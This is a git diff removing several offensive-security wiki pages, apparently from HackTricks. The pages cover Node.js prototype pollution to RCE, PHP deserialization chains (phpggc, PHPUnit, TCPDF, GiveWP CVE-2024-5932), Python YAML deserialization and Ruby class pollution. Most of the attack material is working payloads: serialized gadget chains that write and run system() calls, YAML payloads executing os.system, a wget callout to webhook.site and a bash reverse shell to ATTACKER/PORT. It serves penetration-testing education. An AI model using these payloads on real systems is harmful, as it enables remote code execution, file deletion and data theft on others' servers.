-<details>
-
-<summary>Interesting files found by previous script</summary>
-
-- node_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
-- node_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
-- node_modules/npm/scripts/**changelog.js**:16:`const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)`
-- node_modules/detect-libc/bin/**detect-libc.js**:18:`process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);`
-- node_modules/jest-expo/bin/**jest.js**:26:`const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });`
-- node_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
-- node_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
-- node_modules/runtypes/scripts/**format.js**:13:`const npmBinPath = execSync('npm bin').toString().trim();`
-- node_modules/node-pty/scripts/**publish.js**:31:`const result = cp.spawn('npm', args, { stdio: 'inherit' });`
-
-</details>
-
-### Setting require file path via prototype pollution
-
-> [!WARNING]
-> The **previous technique requires** that the **user controls the path of the file** that is going to be **required**. But this is not always true.
-
-However, if the code is going to execute a require after the prototype pollution, even if you **don't control the path** that is going to be require, you **can force a different one abusing propotype pollution**. So even if the code line is like `require("./a_file.js")` or `require("bytes")` it will **require the package you polluted**.
-
-Therefore, if a require is executed after your prototype pollution and no spawn function, this is the attack:
-
-- Find a **`.js` file inside the system** that when **required** will **execute something using `child_process`**
-  - If you can upload files to the platform you are attacking you might upload a file like that
-- Pollute the paths to **force the require load of the `.js` file** that will execute something with child_process
-- **Pollute the environ/cmdline** to execute arbitrary code when a child_process execution function is called (see the initial techniques)
-
-#### Absolute require
-
-If the performed require is **absolute** (`require("bytes")`) and the **package doesn't contain main** in the `package.json` file, you can **pollute the `main` attribute** and make the **require execute a different file**.
-
-{{#tabs}}
-{{#tab name="exploit"}}
-
-```javascript
-// Create a file called malicious.js in /tmp
-// Contents of malicious.js in the other tab
-
-// Install package bytes (it doesn't have a main in package.json)
-// npm install bytes
-
-// Manual Pollution
-b = {}
-b.__proto__.main = "/tmp/malicious.js"
-
-// Trigger gadget
-var proc = require("bytes")
-// This should execute the file /tmp/malicious.js
-// The relative path doesn't even need to exist
-
-// Abusing the vulnerable code
-USERINPUT = JSON.parse(
-  '{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
-)
-
-clone(USERINPUT)
-
-var proc = require("bytes")
-// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
-```
-
-{{#endtab}}
-
-{{#tab name="malicious.js"}}
-
-```javascript
-const { fork } = require("child_process")
-console.log("Hellooo from malicious")
-fork("anything")
-```
-
-{{#endtab}}
-{{#endtabs}}
-
-#### Relative require - 1
-
-If a **relative path** is loaded instead of an absolute path, you can make node **load a different path**:
-
-{{#tabs}}
-{{#tab name="exploit"}}
-
-```javascript
-// Create a file called malicious.js in /tmp
-// Contents of malicious.js in the other tab
-
-// Manual Pollution
-b = {}
-b.__proto__.exports = { ".": "./malicious.js" }
-b.__proto__["1"] = "/tmp"
-
-// Trigger gadget
-var proc = require("./relative_path.js")
-// This should execute the file /tmp/malicious.js
-// The relative path doesn't even need to exist
-
-// Abusing the vulnerable code
-USERINPUT = JSON.parse(
-  '{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
-)
-
-clone(USERINPUT)
-
-var proc = require("./relative_path.js")
-// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
-```
-
-{{#endtab}}
-
-{{#tab name="malicious.js"}}
-
-```javascript
-const { fork } = require("child_process")
-console.log("Hellooo from malicious")
-fork("/path/to/anything")
-```
-
-{{#endtab}}
-{{#endtabs}}
-
-#### Relative require - 2
-
-{{#tabs}}
-{{#tab name="exploit"}}
-
-```javascript
-// Create a file called malicious.js in /tmp
-// Contents of malicious.js in the other tab
-
-// Manual Pollution
-b = {}
-b.__proto__.data = {}
-b.__proto__.data.exports = { ".": "./malicious.js" }
-b.__proto__.path = "/tmp"
-b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
-
-// Trigger gadget
-var proc = require("./relative_path.js")
-// This should execute the file /tmp/malicious.js
-// The relative path doesn't even need to exist
-
-// Abusing the vulnerable code
-USERINPUT = JSON.parse(
-  '{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
-)
-
-clone(USERINPUT)
-
-var proc = require("./relative_path.js")
-// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
-```
-
-{{#endtab}}
-
-{{#tab name="malicious.js"}}
-
-```javascript
-const { fork } = require("child_process")
-console.log("Hellooo from malicious")
-fork("/path/to/anything")
-```
-
-{{#endtab}}
-{{#endtabs}}
-
-#### Relative require - 3
-
-Similar to the previous one, this was found in [**this writeup**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
-
-```javascript
-// Requiring /opt/yarn-v1.22.19/preinstall.js
-Object.prototype["data"] = {
-  exports: {
-    ".": "./preinstall.js",
-  },
-  name: "./usage",
-}
-Object.prototype["path"] = "/opt/yarn-v1.22.19"
-Object.prototype.shell = "node"
-Object.prototype["npm_config_global"] = 1
-Object.prototype.env = {
-  NODE_DEBUG:
-    "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
-  NODE_OPTIONS: "--require=/proc/self/environ",
-}
-
-require("./usage.js")
-```
-
-## VM Gadgets
-
-In the paper [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) is also indicated that the control of **`contextExtensions`** from some methods of the **`vm`** library could be used as a gadget.\
-However, as the previous **`child_process`** methods, it has been **fixed** in the latest versions.
-
-## Fixes & Unexpected protections
-
-Please, note that prototype pollution works if the **attribute** of an object that is being accessed is **undefined**. If in the **code** that **attribute** is **set** a **value** you **won't be able to overwrite it**.
-
-In Jun 2022 from [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) the var `options` instead of a `{}` is a **`kEmptyObject`**. Which **prevents a prototype pollution** from affecting the **attributes** of **`options`** to obtain RCE.\
-At least from v18.4.0 this protection has been **implemented,** and therefore the `spawn` and `spawnSync` **exploits** affecting the methods **no longer work** (if no `options` are used!).
-
-In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to **`kEmptyObject`** instead of **`{}`.**
-
-> [!INFO]
-> **Node 20 (April 2023) & Node 22 (April 2025)** shipped further hardening: several `child_process` helpers now copy user-supplied `options` with **`CopyOptions()`** instead of using them by reference.  This blocks pollution of nested objects such as `stdio`, but **does not protect against the `NODE_OPTIONS` / `--import` tricks** described above – those flags are still accepted via environment variables.
-> A full fix would have to restrict which CLI flags can be propagated from the parent process, which is being tracked in Node Issue #50559.
-
-
-### **Other Gadgets**
-
-- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
-- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
-
-## References
-
-- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
-- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
-- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
-- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
-- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
-- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
deleted file mode 100644
index d6548d1f22a..00000000000
--- a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
+++ /dev/null
@@ -1,155 +0,0 @@
-# PHP - Deserialization + Autoload Classes
-
-{{#include ../../banners/hacktricks-training.md}}
-
-First, you should check what are [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
-
-## PHP deserialization + spl_autoload_register + LFI/Gadget
-
-We are in a situation where we found a **PHP deserialization in a webapp** with **no** library vulnerable to gadgets inside **`phpggc`**. However, in the same container there was a **different composer webapp with vulnerable libraries**. Therefore, the goal was to **load the composer loader of the other webapp** and abuse it to **load a gadget that will exploit that library with a gadget** from the webapp vulnerable to deserialization.
-
-Steps:
-
-- You have found a **deserialization** and there **isn’t any gadget** in the current app code
-- You can abuse a **`spl_autoload_register`** function like the following to **load any local file with `.php` extension**
-  - For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\
-    A **gadget example** will be: **`O:10:"tmp_passwd":0:{}`**
-
-<details>
-<summary>spl_autoload_register autoload example</summary>
-
-```php
-spl_autoload_register(function ($name) {
-
-   if (preg_match('/Controller$/', $name)) {
-       $name = "controllers/${name}";
-   } elseif (preg_match('/Model$/', $name)) {
-       $name = "models/${name}";
-   } elseif (preg_match('/_/', $name)) {
-       $name = preg_replace('/_/', '/', $name);
-   }
-
-   $filename = "/${name}.php";
-
-   if (file_exists($filename)) {
-       require $filename;
-   }
-   elseif (file_exists(__DIR__ . $filename)) {
-       require __DIR__ . $filename;
-   }
-});
-```
-
-</details>
-
-> [!TIP]
-> If you have a **file upload** and can upload a file with **`.php` extension** you could **abuse this functionality directly** and get already RCE.
-
-In my case, I didn’t have anything like that, but there was inside the **same container** another composer web page with a **library vulnerable to a `phpggc` gadget**.
-
-- To load this other library, first you need to **load the composer loader of that other web app** (because the one of the current application won’t access the libraries of the other one.) **Knowing the path of the application**, you can achieve this very easily with: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my case, the composer loader was in `/www/frontend/vendor/autoload.php`)
-- Now, you can **load** the others **app composer loader**, so it’s time to **`generate the phpgcc`** **payload** to use. In my case, I used **`Guzzle/FW1`**, which allowed me to **write any file inside the filesystem**.
-  - NOTE: The **generated gadget was not working**, in order for it to work I **modified** that payload **`chain.php`** of phpggc and set **all the attribute**s of the classes **from private to public**. If not, after deserializing the string, the attributes of the created objects didn’t have any values.
-- Now we have the way to **load the others app composer loader** and have a **phpggc payload that works**, but we need to **do this in the SAME REQUEST for the loader to be loaded when the gadget is used**. For that, I sent a serialized array with both objects like:
-  - You can see **first the loader being loaded and then the payload**
-
-```php
-a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
-```
-
-- Now, we can **create and write a file**, however, the user **couldn’t write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget:
-
-```php
-a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{} }
-```
-
-**Summary of the payload**
-
-- **Load the composer autoload** of a different webapp in the same container
-- **Load a phpggc gadget** to abuse a library from the other webapp (the initial webapp vulnerable to deserialization didn’t have any gadget on its libraries)
-- The gadget will **create a file with a PHP payload** on it in /tmp/a.php with malicious commands (the webapp user cannot write in any folder of any webapp)
-- The final part of our payload will use **load the generated php file** that will execute commands
-
-I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded.
-
-### Recent phpggc goodies (2025)
-
-- The **phpggc master branch keeps adding chains**: OpenCart/RCE2, Drupal/FD1/SQLI1/XXE1, WordPress/YoastSEO/FW1 and others landed in 2025 — useful when the target app shares vendor code with those projects. A quick way to search is `phpggc -l | grep -E "OpenCart|Drupal|Yoast"` (update your clone first).
-- When mixing gadgets across apps via autoloading, remember **private properties in gadget definitions may be dropped** when classes are re-declared differently in the target; edit the gadget’s `chain.php` to make properties `public` if the payload arrives with empty values (same trick shown above).
-
-## PHPUnit PHPT coverage deserialization (CI/CD entrypoint)
-
-`phpunit` before **8.5.52 / 9.6.34 / 10.5.63 / 11.5.50 / 12.5.8** (CVE-2026-24765) unserialized arbitrary PHP objects from `.coverage` files produced by the **PHPT runner**. In CI pipelines where untrusted contributors can push tests, dropping a crafted `.coverage` file triggers deserialization as soon as the suite runs — no web access needed.
-
-**Attack flow**
-
-1. Place a malicious `.coverage` file in the repo (or artifact) containing a serialized gadget that exists in the test dependencies (e.g., a Monolog or Guzzle chain from phpggc).
-2. Submit a PR; when CI executes `phpunit --configuration phpunit.xml`, the PHPT runner reads the coverage file and deserializes the gadget, giving **RCE inside the runner container**.
-3. This is especially nasty when tests mount CI secrets (cloud creds, deployment keys).
-
-**Minimal malicious coverage stub** (drop alongside a PHPT test):
-```php
-<?php
-$payload = file_get_contents('php://stdin'); // serialized gadget from phpggc
-file_put_contents('exploit.coverage', $payload);
-```
-Run the PHPT so phpunit consumes `exploit.coverage`.
-
-## TCPDF `__destruct` POP chain for arbitrary file deletion
-
-When a real `TCPDF` instance is garbage-collected it calls `_destroy(true)`, iterates over `$this->imagekeys`, and `unlink()`s anything that looks like a cache file under `K_PATH_CACHE`. If an application performs `unserialize($user_data)` while the `TCPDF` class is loaded (e.g. it expects an array with an `html` key), you can supply a serialized object that sets:
-
-- `file_id` to any integer that is not present in `self::$cleaned_ids` (e.g. `-1`).
-- `imagekeys` to paths that begin with `K_PATH_CACHE` or that can be made to look like it (e.g. `/tmp/../tmp/do_not_delete_this_file.txt` when `K_PATH_CACHE` is `/tmp/`).
-
-Example payload hitting an unsafe `unserialize($_GET['p']); $pdf->writeHTML($payload['html']);` flow:
-
-```text
-a:1:{s:4:"html";O:5:"TCPDF":2:{s:7:"file_id";i:-1;s:9:"imagekeys";a:1:{i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";}}}
-```
-
-The file is deleted as soon as the object falls out of scope. TCPDF 6.9.3 tightened the check to only remove paths with the `__tcpdf_<file_id>_` prefix inside `K_PATH_CACHE` and introduced `_unlink()` to block non-`file://` schemes, so older `Producer` versions are prime targets.
-
-### Triggering the gadget via `phar://` in html2pdf `<cert>` tags
-
-`spipu/html2pdf` (≤5.3.0) wraps TCPDF and exposes a custom `<cert>` block whose `src`/`privkey` attributes are validated with plain `file_exists()`. On PHP < 8.0 any filesystem function that touches a `phar://` URL causes the Phar metadata to be unserialized. By storing the malicious TCPDF object above inside a Phar archive you gain a reliable POP even if the application never calls `unserialize()` itself.
-
-1. Craft a Phar with `phar.readonly=0`, set the stub/manifest to look like an image (e.g. rename `archive.phar` to `archive.png`), and store the serialized TCPDF object in the Phar metadata.
-2. Upload/place the file somewhere reachable such as `/tmp/user_files/user_1/archive.png`.
-3. Submit HTML containing the CERT tag so html2pdf resolves the attacker-controlled path:
-
-```html
-<cert src="phar:///tmp/user_files/user_1/archive.png"
-      privkey="phar:///tmp/user_files/user_1/archive.png" />
-```
-
-The call to `file_exists()` deserializes the metadata, instantiates TCPDF, and its destructor deletes the chosen file, turning html2pdf into a powerful `phar://` entry point. Version 5.3.1 added `Security::checkValidPath()` to block unapproved schemes, so legacy deployments remain attractive.
-
-### GiveWP <3.14.2 unauthenticated POP chain to RCE (CVE-2024-5932)
-
-**GiveWP** (WordPress donation plugin) up to **3.14.1** unserializes the user-controlled **`give_title`** field during `give_process_donation` without authentication. With the plugin’s dependencies autoloaded you get a **POP chain** that reaches a callable sink.
-
-- The EQSTLab PoC builds a chain using `Stripe\StripeObject` and `Give\Vendors\Faker\ValidGenerator`, sets the internal `\0*\0validator` to `shell_exec`, and tucks the attacker command in `Give\Onboarding\SettingsRepository` data.
-- POST the serialized payload as `give_title` to any donation form endpoint (e.g. `/donations/<slug>/`) with the offline gateway so no payment is attempted:
-
-```http
-POST /donations/the-things-we-need/ HTTP/1.1
-Host: giveback.htb
-Content-Type: application/x-www-form-urlencoded
-
-amount=5&give-form-id=1&give-form-title=Any&give-gateway=offline&action=give_process_donation&give_title=O:31:"Stripe\StripeObject":1:{...serialized payload...}
-```
-
-- Output is **blind**, so use a **callback payload** such as a Bash reverse shell: `bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"` and listen with `nc -lnvp PORT`.
-- The same chain can delete arbitrary files by pointing the sink at `unlink`. Use **phpggc** or the PoC (Python + `uv run CVE-2024-5932-rce.py -u <form_url> -c '<cmd>'`) to craft the blob, but any serializer able to emit PHP objects works.
-
-## References
-
-- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
-- [HTB Giveback – CVE-2024-5932 GiveWP unauthenticated deserialization → RCE](https://0xdf.gitlab.io/2026/02/21/htb-giveback.html)
-- [EQSTLab PoC – CVE-2024-5932 GiveWP RCE](https://github.com/EQSTLab/CVE-2024-5932)
-- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
-- [GitLab Advisory – CVE-2024-51058 TCPDF Hash Comparison / Phar Deserialization](https://advisories.gitlab.com/pkg/composer/tecnickcom/tcpdf/)
-- [CVE-2026-24765 – PHPUnit PHPT Coverage Unsafe Deserialization](https://cvereports.com/reports/CVE-2026-24765)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/python-yaml-deserialization.md b/src/pentesting-web/deserialization/python-yaml-deserialization.md
deleted file mode 100644
index ee5d359fbdf..00000000000
--- a/src/pentesting-web/deserialization/python-yaml-deserialization.md
+++ /dev/null
@@ -1,209 +0,0 @@
-# Python Yaml Deserialization
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Yaml **Deserialization**
-
-Python **YAML** libraries can **serialize Python objects**, not just raw data structures. That is the dangerous part: when the loader is allowed to resolve Python-specific tags, parsing attacker-controlled YAML becomes very close to calling `pickle.load()`.
-
-For generic parser-confusion bugs and non-Python YAML issues, also check [JSON, XML & Yaml Hacking](../json-xml-yaml-hacking.md).
-
-```python
-print(yaml.dump(str("lol")))
-lol
-...
-
-print(yaml.dump(tuple("lol")))
-!!python/tuple
-- l
-- o
-- l
-
-print(yaml.dump(range(1,10)))
-!!python/object/apply:builtins.range
-- 1
-- 10
-- 1
-```
-
-Check how the **tuple** isn’t a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).
-
-![Python Yaml Deserialization - Yaml Deserialization: Check how the tuple isn’t a raw type of data and therefore it was serialized . And the same happened with the range (taken from the...](<../../images/image (1040).png>)
-
-### Loader behaviour quick reference
-
-| API | Behaviour | Offensive note |
-| --- | --- | --- |
-| `yaml.safe_load()` / `SafeLoader` | Only standard YAML types by default | Still review app-defined custom constructors/tags |
-| `yaml.full_load()` / `FullLoader` | Rejects Python object tags in modern PyYAML | **PyYAML < 5.4** had `FullLoader` bypasses |
-| `yaml.unsafe_load()` / `UnsafeLoader` / `Loader` | Reconstructs Python objects/functions | Treat it as an RCE sink |
-
-Class object deserialization example:
-
-```python
-import yaml
-
-data = '!!python/object/apply:builtins.range [1, 10, 1]'
-
-print(yaml.safe_load(data))    # ConstructorError
-print(yaml.full_load(data))    # ConstructorError in modern PyYAML
-print(yaml.unsafe_load(data))  # range(1, 10)
-```
-
-In current PyYAML, **`unsafe_load()`** is still the intended way to reconstruct Python-specific tags. `safe_load()` rejects them, and `full_load()` only became reliably non-exploitable for this class of payloads after the **5.4** fixes.
-
-### Basic Exploit
-
-Example on how to **execute a sleep** when the target uses an unsafe loader:
-
-```python
-import yaml
-
-payload = '!!python/object/apply:time.sleep [2]'
-yaml.unsafe_load(payload)  # Executed
-```
-
-If you need a blind/OOB check instead of a delay, swap the gadget for something that makes a network request, e.g. `urllib.request.urlopen`, or use `subprocess`/`os.system` if command execution is easier to observe.
-
-### PyYAML < 5.4: `FullLoader` / implicit `.load()` bypasses
-
-The dangerous historical detail is that **`FullLoader` was not actually safe in PyYAML 5.1 to 5.3.1**. PyYAML removed `!!python/object/apply` from `FullLoader`, but researchers quickly showed that `!!python/object/new` was still enough to get code execution.
-
-So, when auditing old environments, vendored dependencies, appliances, or Docker images pinned to **PyYAML < 5.4**, treat **both** of these as suspicious:
-
-- `yaml.load(data)` in code written before explicit loaders were enforced
-- `yaml.load(data, Loader=yaml.FullLoader)`
-
-Example `FullLoader` bypass payloads:
-
-```yaml
-!!python/object/new:tuple
-- !!python/object/new:map
-  - !!python/name:eval
-  - ["__import__('os').system('id')"]
-```
-
-```yaml
-!!python/object/new:type
-args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
-listitems: "__import__('os').system('id')"
-```
-
-Another classic variant is:
-
-```yaml
-!!python/object/new:str
-state: !!python/tuple
-  - 'print(getattr(open("flag\x2etxt"), "read")())'
-  - !!python/object/new:Warning
-    state:
-      update: !!python/name:exec
-```
-
-Or this **one-liner provided by @ishaack**:
-
-```yaml
-!!python/object/new:str {
-  state:
-    !!python/tuple [
-      'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
-      !!python/object/new:Warning { state: { update: !!python/name:exec } },
-    ],
-}
-```
-
-PyYAML **5.4** moved arbitrary Python tags to **`UnsafeLoader`** and modern releases also require an explicit `Loader` argument for `yaml.load()`. However, this bug class still appears in real projects when old PyYAML versions remain installed or a project explicitly keeps using `FullLoader` on untrusted YAML.
-
-### `safe_load()` can still become a sink with custom constructors
-
-`safe_load()` only protects you from **PyYAML's built-in Python tags**. It does **not** protect you from **application-defined tags** registered on `SafeLoader`.
-
-During code review, grep for:
-
-- `yaml.add_constructor(...)`
-- `yaml.add_multi_constructor(...)`
-- subclasses of `yaml.YAMLObject`
-- `yaml_loader = yaml.SafeLoader`
-
-If the application registers tags like `!ENV`, `!include`, `!func`, or `!cmd`, attacker-controlled YAML may still reach **file reads**, **module imports**, **callable resolution**, or **OS command execution** through the custom constructor logic.
-
-```python
-import os
-import yaml
-
-def cmd(loader, node):
-    return os.popen(loader.construct_scalar(node)).read()
-
-yaml.SafeLoader.add_constructor('!cmd', cmd)
-print(yaml.safe_load('result: !cmd "id"'))
-```
-
-That is no longer a generic PyYAML bug; it is now an **application gadget**. From an attacker's perspective, it is still a YAML deserialization sink.
-
-### Hunting sinks in real codebases
-
-```bash
-rg -n "yaml\.(load|full_load|unsafe_load)|Loader=yaml\.(Loader|UnsafeLoader|FullLoader)|add_(multi_)?constructor|yaml_loader\s*=\s*yaml\.SafeLoader|YAML\(typ=['\"]unsafe['\"]\)" .
-```
-
-Also review wrappers and helper functions. A lot of 2025-2026 advisories were just one layer above PyYAML: a project exposed a YAML import/config feature, internally called `yaml.FullLoader`, and became exploitable again on older PyYAML releases.
-
-## RCE
-
-Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.
-
-```python
-import yaml
-import subprocess
-
-class Payload(object):
-    def __reduce__(self):
-        return (subprocess.Popen, ('ls',))
-
-deserialized_data = yaml.dump(Payload()) # serializing data
-print(deserialized_data)
-
-# !!python/object/apply:subprocess.Popen
-# - ls
-
-print(yaml.unsafe_load(deserialized_data))
-```
-
-### `ruamel.yaml`
-
-The same review mindset applies to **`ruamel.yaml`**. If you find `YAML(typ='unsafe')`, treat it as the equivalent of an unsafe PyYAML loader. Newer `ruamel.yaml` documentation has been steering users away from `typ='unsafe'` and towards `typ='full'` for **dumping only**, with explicit class registration required to get the old unsafe loading behaviour back.
-
-### Tool to create Payloads
-
-The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:**
-
-```bash
-python3 peas.py
-Enter RCE command :cat /root/flag.txt
-Enter operating system of target [linux/windows] . Default is linux :linux
-Want to base64 encode payload ? [N/y] :
-Enter File location and name to save :/tmp/example
-Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
-Done Saving file !!!!
-
-cat /tmp/example_jspick
-{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
-
-cat /tmp/example_pick | base64 -w0
-gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
-
-cat /tmp/example_yaml
-!!python/object/apply:subprocess.Popen
-- !!python/tuple
-  - cat
-    - /root/flag.txt
-```
-
-### References
-
-- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
-- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
-- [https://blog.ankursundara.com/pyyaml-cve/](https://blog.ankursundara.com/pyyaml-cve/)
-- [https://pyyaml.org/wiki/PyYAMLDocumentation](https://pyyaml.org/wiki/PyYAMLDocumentation)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/ruby-_json-pollution.md b/src/pentesting-web/deserialization/ruby-_json-pollution.md
deleted file mode 100644
index d8a1344339d..00000000000
--- a/src/pentesting-web/deserialization/ruby-_json-pollution.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# Ruby _json pollution
-
-{{#include ../../banners/hacktricks-training.md}}
-
-This is a summary from the post [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://nastystereo.com/security/rails-_json-juggling-attack.html)
-
-
-## Basic information
-
-When sending in a body some values not hashabled like an array they will be added into a new key called `_json`. However, It’s possible for an attacker to also set in the body a value called `_json` with the arbitrary values he wishes. Then, If the backend for example checks the veracity of a parameter but then also uses the `_json` parameter to perform some action, an authorisation bypass could be performed.
-
-```json
-{
-  "id": 123,
-  "_json": [456, 789]
-}
-```
-
-
-## References
-
-- [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://nastystereo.com/security/rails-_json-juggling-attack.html)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/deserialization/ruby-class-pollution.md b/src/pentesting-web/deserialization/ruby-class-pollution.md
deleted file mode 100644
index fc5c379c3da..00000000000
--- a/src/pentesting-web/deserialization/ruby-class-pollution.md
+++ /dev/null
@@ -1,422 +0,0 @@
-# Ruby Class Pollution
-
-{{#include ../../banners/hacktricks-training.md}}
-
-This is a summary from the post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
-
-## Merge on Attributes
-
-Example:
-
-```ruby
-# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
-# Comments added to exploit the merge on attributes
-require 'json'
-
-
-# Base class for both Admin and Regular users
-class Person
-
-  attr_accessor :name, :age, :details
-
-  def initialize(name:, age:, details:)
-    @name = name
-    @age = age
-    @details = details
-  end
-
-  # Method to merge additional data into the object
-  def merge_with(additional)
-    recursive_merge(self, additional)
-  end
-
-  # Authorize based on the `to_s` method result
-  def authorize
-    if to_s == "Admin"
-      puts "Access granted: #{@name} is an admin."
-    else
-      puts "Access denied: #{@name} is not an admin."
-    end
-  end
-
-  # Health check that executes all protected methods using `instance_eval`
-  def health_check
-    protected_methods().each do |method|
-      instance_eval(method.to_s)
-    end
-  end
-
-  private
-
-  # VULNERABLE FUNCTION that can be abused to merge attributes
-  def recursive_merge(original, additional, current_obj = original)
-    additional.each do |key, value|
-
-      if value.is_a?(Hash)
-        if current_obj.respond_to?(key)
